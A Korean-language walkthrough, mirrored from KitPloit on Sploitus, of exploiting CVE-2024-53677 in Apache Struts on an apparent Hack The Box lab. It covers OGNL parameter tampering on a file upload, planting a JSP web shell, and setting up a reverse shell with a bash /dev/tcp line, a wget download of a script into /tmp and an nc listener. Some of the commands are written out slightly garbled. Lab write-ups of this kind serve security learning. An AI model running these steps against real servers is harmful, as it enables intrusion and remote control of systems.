Sploitus

CVE-2024-53677-Exploitation

kitploit Β· 2026-09-04

Exploit Code

MARKDOWN79 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-HOPSYPOPSY8-CVE-2024-53677-EXPLOITATION
# CVE-2024-53677 μ΅μŠ€ν”Œλ‘œμž‡

### 파일 μ—…λ‘œλ“œλ₯Ό ν†΅ν•œ Apache Struts RCE

## μ„€λͺ…

CVE-2024-53677은 Apache Struts 2.0.0λΆ€ν„° 6.4.0 이전 버전에 영ν–₯을 λ―ΈμΉ˜λŠ” μ·¨μ•½μ μž…λ‹ˆλ‹€. **⚠️ 이 취약점은 Hack The Box λž©μ—μ„œ μ•…μš©λ˜μ—ˆμŠ΅λ‹ˆλ‹€.**

Apache Struts의 파일 μ—…λ‘œλ“œ λ‘œμ§μ—λŠ” 결함이 μžˆμŠ΅λ‹ˆλ‹€. κ³΅κ²©μžλŠ” 파일 μ—…λ‘œλ“œ νŒŒλΌλ―Έν„°λ₯Ό μ‘°μž‘ν•˜μ—¬ 경둜 탐색을 κ°€λŠ₯ν•˜κ²Œ ν•  수 있으며, νŠΉμ • μƒν™©μ—μ„œλŠ” 원격 μ½”λ“œ μ‹€ν–‰(RCE)을 μˆ˜ν–‰ν•˜λŠ” 데 μ‚¬μš©ν•  수 μžˆλŠ” μ•…μ„± νŒŒμΌμ„ μ—…λ‘œλ“œν•  수 μžˆμŠ΅λ‹ˆλ‹€. πŸ”— **μ°Έμ‘°:** NIST NVD ν•­λͺ©

## μ •μ°°

### **곡격 벑터 식별**

![이미지](https://assets.kitploit.com/production/public/readmes/26597/0735b9d74fe34334de932520ac2f5b91852a8540c416905a8e84e79822552fb3.png)

  1. μ›Ήμ‚¬μ΄νŠΈμ—λŠ” **이미지 μ—…λ‘œλ“œ** κΈ°λŠ₯이 μžˆμŠ΅λ‹ˆλ‹€.
  2. μ—…λ‘œλ“œλœ νŒŒμΌμ€ ip/uploads/20250213_014317/starwars.png에 μ €μž₯λ©λ‹ˆλ‹€.
  3. μ—…λ‘œλ“œμ— μ„±κ³΅ν•˜λ©΄ μ΄λ―Έμ§€μ˜ 곡유 링크 URL은 ip/s/04ab2f40μž…λ‹ˆλ‹€.
  4. Apache Struts 버전 확인


  * λ…ΈμΆœλœ `pom.xml`μ—μ„œ **Apache Struts 6.3.0.1** 확인
  * **CVE-2024-53677** 에 μ·¨μ•½ν•œ κ²ƒμœΌλ‘œ 확인됨



πŸ“Έ **pom.xml λ…ΈμΆœ:**  
![이미지](https://assets.kitploit.com/production/public/readmes/26597/46a948b1ce2ca76035a596228d01e3b51907ec62ee30ff7eaf2c35c8026f2a85.png)

## μ΅μŠ€ν”Œλ‘œμž‡

### **파일 μ—…λ‘œλ“œ μš”μ²­ λ³€μ‘°**

이 취약점을 μ•…μš©ν•˜κΈ° μœ„ν•΄ **BurpSuite** 와 **Repeater** κΈ°λŠ₯을 μ‚¬μš©ν•˜μ—¬ μ „μ†‘ν•˜κΈ° 전에 νŒ¨ν‚·μ„ λ³€μ‘°ν•©λ‹ˆλ‹€. μ•„λž˜μ—λŠ” μˆ˜μ •λ˜μ§€ μ•Šμ€ μš”μ²­μ΄ μžˆμŠ΅λ‹ˆλ‹€.

![이미지](https://assets.kitploit.com/production/public/readmes/26597/11d45c912a8cc97c46277e9a82dbfd237eebd54a3ef12d70250937d6bfdbe886.png)

μš°λ¦¬κ°€ μ§λ©΄ν•œ λ¬Έμ œλŠ” μ‚¬μ΄νŠΈκ°€ **[JPG, JPEG, PNG, GIF]** μ™Έμ˜ 파일 μœ ν˜•μ„ **차단** ν•˜κ³  /uploads λ””λ ‰ν„°λ¦¬μ˜ λͺ¨λ“  νŒŒμΌμ€ **μ‹€ν–‰ν•  수 μ—†λ‹€** λŠ” μ μž…λ‹ˆλ‹€. μ΄λŸ¬ν•œ 문제λ₯Ό μš°νšŒν•˜κΈ° μœ„ν•΄ λ¨Όμ € λ‹€λ₯Έ νŒŒλΌλ―Έν„°λ₯Ό μΆ”κ°€ν•©λ‹ˆλ‹€.

![ν…ŒμŠ€νŠΈ](https://assets.kitploit.com/production/public/readmes/26597/6cfcf9b44ffd944f170bd76572f5b700565c0797570d9057df94fb461e9f6f1a.png)

μΆ”κ°€λœ νŒŒλΌλ―Έν„°λŠ” Apache Strutsκ°€ μž…λ ₯ 데이터λ₯Ό μ²˜λ¦¬ν•˜λŠ” 데 μ‚¬μš©ν•˜λŠ” OGNL(Object-Graph Navigation Language)을 μ•…μš©ν•©λ‹ˆλ‹€. FileUploadInterceptorλŠ” μ‹€μ œ PNG 이미지λ₯Ό μ²˜λ¦¬ν•˜κΈ° 전에 이 νŒŒλΌλ―Έν„°λ₯Ό μ²˜λ¦¬ν•˜λ―€λ‘œ, κ³΅κ²©μžκ°€ μš”μ²­μ„ μ‘°μž‘ν•˜κ³  잠재적으둜 μž„μ˜ μ½”λ“œλ₯Ό μ‹€ν–‰ν•  수 μžˆμŠ΅λ‹ˆλ‹€. 

### **μ΅μŠ€ν”Œλ‘œμž‡ 마무리**

μˆ˜μ •λœ νŒŒλΌλ―Έν„°λ₯Ό μΆ”κ°€ν•œ ν›„ μ„œλ²„ 응닡은 파일이 μ„±κ³΅μ μœΌλ‘œ μ—…λ‘œλ“œλ˜μ—ˆμŒμ„ ν™•μΈν•©λ‹ˆλ‹€. κ·ΈλŸ¬λ‚˜ 파일 κ²½λ‘œκ°€ 일반적인 μ—…λ‘œλ“œ 디렉터리와 λ‹€λ₯΄λ‹€λŠ” 것을 확인할 수 μžˆμŠ΅λ‹ˆλ‹€.

![plshelp](https://assets.kitploit.com/production/public/readmes/26597/42ebb4f4235938bb59ffd72d0c2376df2059adea9864b312fa1aeeb0ca0467d3.png)

#### **νŽ˜μ΄λ‘œλ“œ 첨뢀**

λ‹€μŒμœΌλ‘œ, 이미지 데이터 λ°”λ‘œ μ•„λž˜μ΄μž μ‚½μž…λœ νŒŒλΌλ―Έν„° λ°”λ‘œ μ•žμ— νŽ˜μ΄λ‘œλ“œλ₯Ό μΆ”κ°€ν•˜μ—¬ μž„λ² λ“œν•©λ‹ˆλ‹€. μ…Έ νŽ˜μ΄λ‘œλ“œλŠ” πŸ”— **μ°Έμ‘°:** shell.jspμ—μ„œ 얻을 수 μžˆμŠ΅λ‹ˆλ‹€. λ˜ν•œ μ€‘μš”ν•œ μ„ΈλΆ€ 사항 ν•˜λ‚˜λŠ” μš”μ²­μ— μ†Œλ¬Έμž upload λŒ€μ‹  λŒ€λ¬Έμž Uκ°€ ν¬ν•¨λœ "Upload"κ°€ ν•„μš”ν•˜λ‹€λŠ” μ μž…λ‹ˆλ‹€. μ΄λŠ” πŸ”— **μ°Έμ‘°:** exploit.pyμ—μ„œ ν™•μΈλœ μ΅μŠ€ν”Œλ‘œμž‡ ꡬ쑰λ₯Ό λ”°λ¦…λ‹ˆλ‹€.

μ΄λŸ¬ν•œ μˆ˜μ •μ„ μ μš©ν•œ ν›„ μš”μ²­μ„ μ „μ†‘ν•©λ‹ˆλ‹€. μ„œλ²„λŠ” μœ μ‚¬ν•˜κ²Œ μ‘λ‹΅ν•˜λ©° 성곡적인 μ—…λ‘œλ“œλ₯Ό ν™•μΈν•˜κ³  μ‘°μ •λœ 파일 경둜λ₯Ό λ°˜μ˜ν•©λ‹ˆλ‹€.

#### **μ΅μŠ€ν”Œλ‘œμž‡ 탐색**

이제 λ‹€μŒ URL둜 μ΄λ™ν•˜λ©΄ μ—…λ‘œλ“œλœ μ…Έκ³Ό μƒν˜Έ μž‘μš©ν•  수 μžˆμŠ΅λ‹ˆλ‹€.

root@kitploit:~
    
    
     ip/shelll.jsp?action=cmd&cmd=id 

![μ΅œμ’… μ…Έ](https://assets.kitploit.com/production/public/readmes/26597/4acb1eb46e967b445548bb0cb545937c47f63635599602e95dc23198c4d07c09.png)

이 λ‹¨κ³„μ—μ„œλŠ” λ‘œμ»¬μ—μ„œ ν˜ΈμŠ€νŒ…λ˜λŠ” μ›Ή μ„œλ²„λ₯Ό μ‚¬μš©ν•˜μ—¬ λ¦¬λ²„μŠ€ 셸을 ꡬ좕할 수 μžˆμŠ΅λ‹ˆλ‹€. κ°„λ‹¨ν•œ 방법은 Python을 μ‚¬μš©ν•˜λŠ” κ²ƒμž…λ‹ˆλ‹€: python3 http.server -m 3004

λ‹€μŒμœΌλ‘œ, κΈ°λ³Έ μ…Έ 슀크립트(예: shell.sh)λ₯Ό μƒμ„±ν•©λ‹ˆλ‹€. cat bash -i >& /dev/tcp/$IP/$PORT 0>&1 > shell.sh

wget을 μ‚¬μš©ν•˜μ—¬ λ‹€μš΄λ‘œλ“œν•©λ‹ˆλ‹€. wget http://ip_address/filename -O /tmp

λ‹€μš΄λ‘œλ“œ ν›„ μ‹€ν–‰ κΆŒν•œμ„ λΆ€μ—¬ν•©λ‹ˆλ‹€. chmod +777 /tmp/filename

그런 λ‹€μŒ nc(λ„·μΊ£)을 μ‚¬μš©ν•˜μ—¬ λ¦¬λ²„μŠ€ 셸을 μˆ˜μ‹  λŒ€κΈ°ν•©λ‹ˆλ‹€. nc -lvnp $PORT

λ§ˆμ§€λ§‰μœΌλ‘œ μ‹€ν–‰ν•©λ‹ˆλ‹€. ./filename